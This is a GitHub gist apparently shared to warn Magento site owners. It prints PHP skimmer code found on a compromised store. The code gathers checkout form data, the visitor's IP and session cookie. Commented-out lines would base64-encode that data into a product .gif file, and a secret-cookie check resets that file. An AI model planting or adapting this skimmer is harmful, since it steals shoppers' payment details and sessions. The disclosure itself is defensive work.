Skip to content

Instantly share code, notes, and snippets.

@bkozora
Last active August 16, 2017 18:35
Show Gist options
  • Save bkozora/9ae1596bf3c560d24664 to your computer and use it in GitHub Desktop.
Save bkozora/9ae1596bf3c560d24664 to your computer and use it in GitHub Desktop.
Magento Exploit - Base64 Encode of Form Data into gif File
<?php
if ( isset($_POST) && is_array($_POST) && count($_POST) > 0 ) {
$ARINFO = $_POST;
$ARINFO['date'] = $_SERVER['REQUEST_TIME'];
$ARINFO['ip'] = $_SERVER['REMOTE_ADDR'];
$ARINFO['url'] = $_SERVER['REQUEST_URI'];
if(isset($_COOKIE['frontend'])) $ARINFO['cookie'] = $_COOKIE['frontend'];
if((strpos($_SERVER['REQUEST_URI'], 'checkout/onepage')) or (strpos($_SERVER['REQUEST_URI'], 'firecheckout')) or (strpos($_SERVER['REQUEST_URI'], 'onestepcheckout')))
{
//$log_entry = base64_encode(serialize($ARINFO)) . "\n";
//file_put_contents('D:/Magento/Shop/Web/media/catalog/product/s/t/st7512_300s_ol.gif', $log_entry, FILE_APPEND|LOCK_EX);
}
}
if (isset($_COOKIE['3424ab90180b0e24133ab8981a00d72e']) AND ($_COOKIE['3424ab90180b0e24133ab8981a00d72e'] == '57bf2419a27d6ccaa6d0800c9b38d90f'))
{
//file_put_contents('D:/Magento/Shop/Web/media/catalog/product/s/t/st7512_300s_ol.gif', "GIF\n");
}
@bkozora
Copy link
Author

bkozora commented Aug 16, 2017

I purposely avoid disclosing ALL the details of these exploits I find. I want to help site owners secure their sites, not help black hats with their skillset. For that reason, the exact placement of this code and subsequent code responsible for its execution has been left out.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment